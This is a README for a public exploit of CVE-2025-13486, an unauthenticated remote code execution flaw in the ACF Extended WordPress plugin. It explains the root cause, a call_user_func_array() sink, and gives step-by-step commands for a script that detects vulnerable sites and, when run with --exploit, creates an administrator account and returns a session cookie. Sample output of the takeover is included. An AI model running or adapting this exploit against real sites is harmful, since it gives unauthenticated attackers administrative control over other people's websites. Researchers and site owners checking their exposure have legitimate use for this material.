CVE-2025-13486 exploit

ACF Extended WordPress Plugin — Remote Code Execution & Privilege Escalation

Exploit for the CVE-2025-13486 discovered by Marcin Dudek (dudekmar)

⚠️ Disclaimer

This repository is provided for research and defensive security purposes only. The author assumes no responsibility for misuse of this information.

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📌 Overview

The Advanced Custom Fields: Extended (ACFE) plugin for WordPress is vulnerable to Remote Code Execution (RCE) in versions 0.9.0.5 through 0.9.1.1.

The vulnerability exists in the prepare_form() function, which accepts user-controlled input and forwards it to call_user_func_array() without proper validation.

This allows unauthenticated attackers to execute arbitrary PHP code on the server in a limited manner, which is nonetheless sufficient to create an administrator account and log in.

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🔬 Root Cause Analysis

The vulnerability chain is as follows:

1. includes/modules/form/module-form-front.php:24 -> wp_ajax_nopriv_acfe/form/render_form_ajax action triggers the render_form_ajax handler.

2. includes/modules/form/module-form-front.php:492 -> The filter acfe/form/prepare_form is applied, invoking the prepare_form() function.

3. includes/modules/form/module-form-front-render.php:151 -> User-controlled $form data is passed directly to call_user_func_array().

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🎯 Exploitation

0. Install python dependencies:

   root@kitploit:~

   python3 -m venv venv
   venv/bin/pip install -r requirements.txt
   

1. Identify a vulnerable WordPress target.

   The target must contain a page with an ACFE-generated form.

   root@kitploit:~

   venv/bin/python3 CVE-2025-13486.py -t http://127.0.0.1:8000/\?page_id=2
   

   Output example:

   root@kitploit:~

   [2025-12-19] [11:00:46] [success] ACFE version is vulnerable: 0.9.1.1
   [2025-12-19] [11:03:30] [info] Use `--exploit` to perform exploitation.
   

2. Run the script again with the --exploit flag:

   root@kitploit:~

   venv/bin/python3 CVE-2025-13486.py -t http://127.0.0.1:8000/\?page_id=2 --exploit
   

   Output example:

   root@kitploit:~

   [2025-12-19] [11:00:13] [success] ACFE version is vulnerable: 0.9.1.1
   [2025-12-19] [11:00:13] [success] ACFE nonce found: c5d75e0d16
   [2025-12-19] [11:00:14] [success] Account created: adm1n:2c5c87a94a2c5c87a94a (administrator)
   [2025-12-19] [11:00:14] [success] Authentication succeded!
   [2025-12-19] [11:00:14] [info] Cookie: wordpress_4411def9d576984c8d78253236b2a62f=adm1n%7C1766311214%7CwVDbFsbQpjYMM6ckgEQ6gwr6dcjIRhmqYed7Y46YqHJ%7C2f7857614d5ebe1216922dab79c3a8be7164cccde0869e1545f3bfb17c5d2859
   

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📚 References

• https://www.wordfence.com/blog/2025/12/100000-wordpress-sites-affected-by-remote-code-execution-vulnerability-in-advanced-custom-fields-extended-wordpress-plugin/
• https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/acf-extended/advanced-custom-fields-extended-0905-0911-unauthenticated-remote-code-execution-in-prepare-form
• https://sploitus.com/exploit?id=13551590-2822-5E83-9737-F55F4B2F9F82